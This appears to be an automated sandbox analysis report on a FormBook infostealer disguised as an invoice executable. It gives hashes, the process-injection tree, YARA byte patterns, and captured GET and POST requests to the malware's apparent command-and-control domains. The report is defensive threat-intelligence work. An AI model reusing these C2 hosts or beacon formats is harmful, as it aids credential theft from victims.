Edit tour

Windows Analysis Report
Invoice_&_SOA_ready_for_dispatch.exe

Overview

General Information

Sample Name:	Invoice_&_SOA_ready_for_dispatch.exe
Analysis ID:	1340403
MD5:	eea9bf4a16ab377328a59bde0a0c76df
SHA1:	d6015abe7bd2ac246af5656410c7f7c7dc5f5637
SHA256:	fd2ac4af2e4d90f117a8ba49d77cc480f0ad6a8a6cfa7479384d68ce27939f1a
Tags:	exe
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Yara detected AntiVM3

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Tries to steal Mail credentials (via file / registry access)

Maps a DLL or memory area into another process

Initial sample is a PE file and has a suspicious name

Writes to foreign memory regions

Machine Learning detection for sample

Allocates memory in foreign processes

Performs DNS queries to domains with low reputation

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Contains functionality to read the PEB

Checks if the current process is being debugged

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

Invoice_&_SOA_ready_for_dispatch.exe (PID: 7784 cmdline: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe MD5: EEA9BF4A16AB377328A59BDE0A0C76DF)

RegSvcs.exe (PID: 7940 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 9D352BC46709F0CB5EC974633A0C3C94)

RegSvcs.exe (PID: 7948 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 9D352BC46709F0CB5EC974633A0C3C94)

xIXlFDyvSnsfUSfsjsGwj.exe (PID: 6900 cmdline: "C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

fontview.exe (PID: 6224 cmdline: C:\Windows\SysWOW64\fontview.exe MD5: 8324ECE6961ADBE6120CCE9E0BC05F76)

xIXlFDyvSnsfUSfsjsGwj.exe (PID: 1180 cmdline: "C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 3660 cmdline: C:\Program Files\Mozilla Firefox\Firefox.exe MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/ https://asec.ahnlab.com/en/32149/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b053:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x17232:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000C.00000002.3735548215.0000000004680000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.3735548215.0000000004680000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x27cc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13e9f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x27cc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13e9f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000C.00000002.3735623760.00000000046E0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.3735623760.00000000046E0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x27cc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13e9f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000004.00000002.1351383564.0000000001340000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.1351383564.0000000001340000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x27cc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13e9f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000E.00000002.3737944932.0000000005010000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000E.00000002.3737944932.0000000005010000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2fa90:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1bc6f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000004.00000002.1352780699.0000000003580000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.1352780699.0000000003580000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x63c088:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x628267:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000B.00000002.3735552179.00000000042E0000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000B.00000002.3735552179.00000000042E0000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x63c088:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x628267:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
Process Memory Space: Invoice_&_SOA_ready_for_dispatch.exe PID: 7784	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.RegSvcs.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
4.2.RegSvcs.exe.400000.0.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b053:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x17232:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
4.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
4.2.RegSvcs.exe.400000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2a253:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x16432:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

HTTP traffic detected: POST /udwf/ HTTP/1.1Host: www.littlehappiez.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflateOrigin: http://www.littlehappiez.comReferer: http://www.littlehappiez.com/udwf/Content-Type: application/x-www-form-urlencodedContent-Length: 188Connection: closeCache-Control: no-cacheUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4Data Raw: 47 30 59 78 64 32 51 3d 51 31 2f 6c 4d 2b 73 36 4f 59 33 6a 59 4b 42 2f 7a 71 71 61 61 42 49 56 69 78 47 63 51 57 4b 2f 47 6b 74 53 36 47 6e 43 69 2b 36 6c 77 76 74 6c 4a 71 4b 68 69 51 53 42 66 75 38 43 56 66 51 70 5a 45 49 31 53 75 31 6c 76 67 4c 70 51 42 74 33 30 4e 53 54 6e 72 72 41 6a 49 45 57 65 54 4b 75 63 50 32 63 6f 50 4d 64 6c 63 64 38 62 34 64 44 35 39 49 4c 34 6b 53 76 67 32 32 62 78 66 6e 4a 6a 59 45 36 56 32 4a 35 4e 66 66 61 33 62 35 33 71 4e 70 34 77 47 78 56 6a 58 4e 6b 6e 53 58 70 6c 4d 32 74 53 6f 52 39 73 2f 6c 4d 30 6a 78 41 67 67 3d 3d Data Ascii: G0Yxd2Q=Q1/lM+s6OY3jYKB/zqqaaBIVixGcQWK/GktS6GnCi+6lwvtlJqKhiQSBfu8CVfQpZEI1Su1lvgLpQBt30NSTnrrAjIEWeTKucP2coPMdlcd8b4dD59IL4kSvg22bxfnJjYE6V2J5Nffa3b53qNp4wGxVjXNknSXplM2tSoR9s/lM0jxAgg==

Source: unknown

DNS traffic detected: queries for: www.aifuturesummit.com

Source: global traffic	HTTP traffic detected: GET /udwf/?G0Yxd2Q=Kq0jCDSsi+gLhYagIFFza5XYEfPHq1wckJYs2pUOQJ4UOA08Cv/iplAOJSGKGG8twuAeLLQOU/XInoWNJu0WYoAEZtaSTts9sg==&vhQT=aV8PeNo0MvDl1 HTTP/1.1Host: www.aifuturesummit.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /udwf/?G0Yxd2Q=d3XFPJoaQLbhU6h03+z0XCc0ox6MaGmyEGZO6Ue9tsKz9KlFIum590y6ceFEWr4SYEQ/fNsJ5znTfk9k4b6SgMzLlK80QmTNVA==&vhQT=aV8PeNo0MvDl1 HTTP/1.1Host: www.littlehappiez.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /udwf/?G0Yxd2Q=/fHzvDGB04J+q8b6XJE1xYe30bxweLJnilom5C96GpM+NoY5L9yFqNs9P5GPx0eLkQDxLFeKj8P05w7qGZ9X0/BmwspDAeolpA==&vhQT=aV8PeNo0MvDl1 HTTP/1.1Host: www.bellcom.mediaAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /udwf/?G0Yxd2Q=P+fiFlpl7OLgwg5VHMgiIoMqSXbT5qRAvhgaNfc+psLdu/aEMeH5P0Irdy+G4rOOLUFD4nVEMYENkV+qciPdkHTOCgwyI1K3xg==&vhQT=aV8PeNo0MvDl1 HTTP/1.1Host: www.tutorwave.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /udwf/?G0Yxd2Q=Z6xauRs66pTCKL+KzoyNUFozWOf0JDAANa247hz++z0llrRDJuB/QadTAD9i3swhMbuTmmXjFgWivfbmORZNoncA7F7QHJ1+AA==&vhQT=aV8PeNo0MvDl1 HTTP/1.1Host: www.diabloseugene.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /udwf/?G0Yxd2Q=pfKu+pVNsln4G6X0TIcdarC36EKmJps8u6QQpqwTd4K74JvWDy/kIYo7R3ufamPFtUrh+tiM68Q084b5gYWBh8dmFEHsBv37jg==&vhQT=aV8PeNo0MvDl1 HTTP/1.1Host: www.spark-tech-global.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /udwf/?G0Yxd2Q=pZ4HfquroA03Gi5vNwF4ItLuSTGmPoiR8InmRf339X8P+rCcKVr0Urjn620xlb/Iiubkhpo0DqZ1bcej5UiuLGGOXANOCS2GgQ==&vhQT=aV8PeNo0MvDl1 HTTP/1.1Host: www.otternaut.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /udwf/?G0Yxd2Q=2Pknl6RP8eYVb4X6Jw71HBsX3EzDU15MYpkSqP6Wnui62FTd2NB7+fGHhL+jrHNDvCcs8SUxdlzs7m6tHUr/+njhj/XBKtkfTg==&vhQT=aV8PeNo0MvDl1 HTTP/1.1Host: www.lxdedu.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /udwf/?G0Yxd2Q=4SYFJ+EdcnLhstYHjaYhZ0Xyh2Kg3P6YikQFgY7zApk8SZ1uWGpR3AVqWe4c3udQDum1CidNNnqrfkhOX4sOdDO6VZG27ug9uQ==&vhQT=aV8PeNo0MvDl1 HTTP/1.1Host: www.xn--4gq62f8w1alm9b.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /udwf/?G0Yxd2Q=JhD6cx1vDN8a5DTqTeGrmxpVAWwY3peLQFgmtHjEzCHBkXYzNr0CMjFSFUc9xNeYGx9uB9pdck/5lV77OkU8LgPfKC/e4IY5hQ==&vhQT=aV8PeNo0MvDl1 HTTP/1.1Host: www.autokit.helpAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /udwf/?G0Yxd2Q=2Pknl6RP8eYVb4X6Jw71HBsX3EzDU15MYpkSqP6Wnui62FTd2NB7+fGHhL+jrHNDvCcs8SUxdlzs7m6tHUr/+njhj/XBKtkfTg==&pp=dZa4 HTTP/1.1Host: www.lxdedu.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /udwf/?G0Yxd2Q=uaWfHshIK9gqRIt0eR4Tz5qfjwC0uWvEtBcNKoa2GFPJfFEePrXngeKx3tr3rBy7nKvOiQo6TdyP9ywL+/2JVArzIS+tipxZpg==&pp=dZa4 HTTP/1.1Host: www.iwhrkc.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /udwf/?G0Yxd2Q=EgoyY5F9PuSC7IWgflDFG7vO7ChOxNSXUZQtmoKTqYmDoJiW0KocQ9ej5sZbxdFlzd/pkXvUfPTapOCXwmOa8U5eEphhhK4tvg==&pp=dZa4 HTTP/1.1Host: www.633922.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /udwf/?G0Yxd2Q=ealZg/ITvpLJU7YFE/TF+8q+uExFybxcdjgzbBdGHgaAn5MnYWXQDBclabNRkiFFmFTfmTH8N/zDLP0J5EOM1vyD30GW5j90MQ==&pp=dZa4 HTTP/1.1Host: www.sorenad.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /udwf/?G0Yxd2Q=XDsu41kr/WE9JT9AScR/+1k0JlKiFIG701T/ujNzDh06TiWTrNXnD44RUNnX/KpbWGAw0lPsPrhbwlOTmOIr6R/DwJG4M7kG+w==&pp=dZa4 HTTP/1.1Host: www.westcoastmedia.marketingAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3735548215.0000000004680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3735623760.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1351383564.0000000001340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3737944932.0000000005010000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1352780699.0000000003580000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3735552179.00000000042E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3735548215.0000000004680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3735623760.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.1351383564.0000000001340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000E.00000002.3737944932.0000000005010000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.1352780699.0000000003580000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.3735552179.00000000042E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Invoice_&_SOA_ready_for_dispatch.exe

Source: Invoice_&_SOA_ready_for_dispatch.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3735548215.0000000004680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3735623760.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.1351383564.0000000001340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000E.00000002.3737944932.0000000005010000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.1352780699.0000000003580000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.3735552179.00000000042E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Code function: 0_2_02E983E0	0_2_02E983E0
